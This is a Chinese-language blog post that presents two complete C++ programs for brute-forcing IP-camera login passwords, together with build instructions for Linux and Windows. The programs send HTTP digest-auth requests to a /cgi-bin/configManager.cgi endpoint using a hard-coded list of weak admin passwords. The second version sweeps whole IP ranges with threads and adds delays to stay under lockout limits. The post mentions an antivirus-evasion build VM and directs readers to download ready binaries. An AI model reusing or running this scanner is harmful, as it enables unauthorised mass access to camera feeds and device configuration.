大家好,我是余老师。今天有小伙伴有需求,所以写了个小工具,用于摄像头密码爆破。文末会给出下载地址,后续有需求会持续更新版本。
反馈nessus无法扫描出摄像头密码,摄像头密码是已知的,我随即推荐了nexpose,经过多次测试不同内置规则发现居然扫不出来弱密码。
没关系,我们掏出msfpro, 采用msf中的暴力破解模块,对80端口暴破,奇怪的是同样没有成功,即使手动设置了正确的用户名和密码字典。
到github搜索一番,发现无合适资源。
直接用C++就地手搓一个,单机初版代码
check_passwords.cpp
#include <iostream>
#include <vector>
#include <curl/curl.h>
#include <string>
// 摄像头的IP地址和端口
const std::string camera_ip = "192.168.1.108";
const std::string camera_port = "80";
// 常见的弱口令
const std::vector<std::pair<std::string, std::string>> weak_passwords = {
{"admin", "admin@123!"},
{"admin", "admin123456"},
{"admin", "admin123"},
{"admin", "qazwsx!1"},
{"admin", "admin@12"},
};
size_t WriteCallback(void* contents, size_t size, size_t nmemb, void* userp)
{
((std::string*)userp)->append((char*)contents, size * nmemb);
return size * nmemb;
}
bool check_weak_password(const std::string& ip, const std::string& port, const std::string& username, const std::string& password)
{
CURL* curl;
CURLcode res;
std::string readBuffer;
curl = curl_easy_init();
if(curl) {
std::string url = "http://" + ip + ":" + port + "/cgi-bin/configManager.cgi?action=getConfig&name=Network";
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer);
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_DIGEST);
curl_easy_setopt(curl, CURLOPT_USERNAME, username.c_str());
curl_easy_setopt(curl, CURLOPT_PASSWORD, password.c_str());
res = curl_easy_perform(curl);
if(res == CURLE_OK) {
long response_code;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
if (response_code == 200) {
curl_easy_cleanup(curl);
return true;
}
}
curl_easy_cleanup(curl);
}
return false;
}
int main()
{
for (const auto& cred : weak_passwords) {
const std::string& username = cred.first;
const std::string& password = cred.second;
if (check_weak_password(camera_ip, camera_port, username, password)) {
std::cout << "Weak password found! Username: " << username << ", Password: " << password << std::endl;
return 0;
}
}
std::cout << "No weak passwords found." << std::endl;
return 0;
}
apt-get install libcurl4-openssl-dev
g++ -std=c++11 -o check_passwords check_passwords.cpp -lcurl -lstdc++ -lpthread
./checkpassowrds
成功爆破密码admin123
很显然,目前IP是写死的在代码中,无法批量爆破,另外在爆破时由于间隔短导致无法爆破成功,以及线程停止等问题,需要继续改进。
check_passwords2.cpp
#include <iostream>
#include <vector>
#include <curl/curl.h>
#include <string>
#include <thread>
#include <mutex>
#include <chrono>
// 默认的摄像头管理端口
const std::string default_port = "80";
// 常见的弱口令
const std::vector<std::pair<std::string, std::string>> weak_passwords = {
{"admin", "admin@123!"},
{"admin", "admin123456"},
{"admin", "admin123"},
{"admin", "qazwsx!1"},
{"admin", "admin@12"},
};
std::mutex print_mutex;
size_t WriteCallback(void* contents, size_t size, size_t nmemb, void* userp)
{
((std::string*)userp)->append((char*)contents, size * nmemb);
return size * nmemb;
}
bool check_weak_password(const std::string& ip, const std::string& port, const std::string& username, const std::string& password)
{
CURL* curl;
CURLcode res;
std::string readBuffer;
curl = curl_easy_init();
if(curl) {
std::string url = "http://" + ip + ":" + port + "/cgi-bin/configManager.cgi?action=getConfig&name=Network";
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer);
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_DIGEST);
curl_easy_setopt(curl, CURLOPT_USERNAME, username.c_str());
curl_easy_setopt(curl, CURLOPT_PASSWORD, password.c_str());
res = curl_easy_perform(curl);
if(res == CURLE_OK) {
long response_code;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
if (response_code == 200) {
curl_easy_cleanup(curl);
return true;
} else {
std::lock_guard<std::mutex> lock(print_mutex);
std::cout << "Failed attempt on " << ip << " with Username: " << username << ", Password: " << password << ". HTTP Response code: " << response_code << std::endl;
}
} else {
std::lock_guard<std::mutex> lock(print_mutex);
std::cout << "Curl perform failed on " << ip << " with Username: " << username << ", Password: " << password << ". Error: " << curl_easy_strerror(res) << std::endl;
}
curl_easy_cleanup(curl);
}
return false;
}
void scan_ip(const std::string& ip, const std::string& port) {
for (const auto& cred : weak_passwords) {
const std::string& username = cred.first;
const std::string& password = cred.second;
if (check_weak_password(ip, port, username, password)) {
std::lock_guard<std::mutex> lock(print_mutex);
std::cout << "Weak password found on " << ip << "! Username: " << username << ", Password: " << password << std::endl;
return;
}
// 添加间隔时间,防止过快的连续请求
std::this_thread::sleep_for(std::chrono::milliseconds(500)); // 500毫秒的延迟
}
std::lock_guard<std::mutex> lock(print_mutex);
std::cout << "No weak passwords found on " << ip << "." << std::endl;
}
int main()
{
std::string ip_start, ip_end;
std::cout << "Enter the starting IP address: ";
std::cin >> ip_start;
std::cout << "Enter the ending IP address: ";
std::cin >> ip_end;
unsigned int start[4], end[4];
sscanf(ip_start.c_str(), "%u.%u.%u.%u", &start[0], &start[1], &start[2], &start[3]);
sscanf(ip_end.c_str(), "%u.%u.%u.%u", &end[0], &end[1], &end[2], &end[3]);
std::vector<std::thread> threads;
for (unsigned int i = start[0]; i <= end[0]; ++i) {
for (unsigned int j = start[1]; j <= end[1]; ++j) {
for (unsigned int k = start[2]; k <= end[2]; ++k) {
for (unsigned int l = start[3]; l <= end[3]; ++l) {
char ip[16];
snprintf(ip, sizeof(ip), "%u.%u.%u.%u", i, j, k, l);
threads.emplace_back(scan_ip, std::string(ip), default_port);
}
}
}
}
for (auto& thread : threads) {
thread.join();
}
return 0;
}
发现运行良好,符合预期设计
小伙伴说linux用起来不方便,需要做一个windows的,那咱们继续
linux采用的gcc编译,windows得采用x86_64-w64-mingw32-g++,那就得装mingw64,开启做免杀的虚拟机,里面有各种环境
进入mingw64目录编译之
x86_64-w64-mingw32-g++ -std=c++11 -o check_passwords.exe check_passwords2.cpp -lcurl -lstdc++ -lpthread
发现缺少curl库,下载之
https://curl.se/windows/
然后指定curl库,最终编译命令如下
x86_64-w64-mingw32-g++ -std=c++11 -I C:\Users\user3\Desktop\curl-8.8.0_2-win64-mingw\include -L C:\Users\user3\Desktop\curl-8.8.0_2-win64-mingw\lib -o check_passwords.exe check_passwords2.cpp -lcurl -lpthread
符合预期设计
当发给小伙伴时,发现缺少库
搜索mingw64目录,把缺少的dll发过去,当前目录打开cmd运行check_passwords.exe,执行成功
关注公众号"白帽子安全笔记”,回复“bruteforceCamera”,下载win+linux版本编译文件和源代码。
Part3 总结
1. 密码不易过多,超过6次会锁定一会,因此密码没有放很多
// 默认的摄像头管理端口
const std::string default_port = "80";
// 常见的弱口令
const std::vector<std::pair<std::string, std::string>> weak_passwords = {
{"admin", "admin@123!"},
{"admin", "admin123456"},
{"admin", "admin123"},
{"admin", "qazwsx!1"},
{"admin", "admin@12"},
};
2. 密码长度要求:从后台看出,admin是默认设置了锁定机制的,长度最短为8位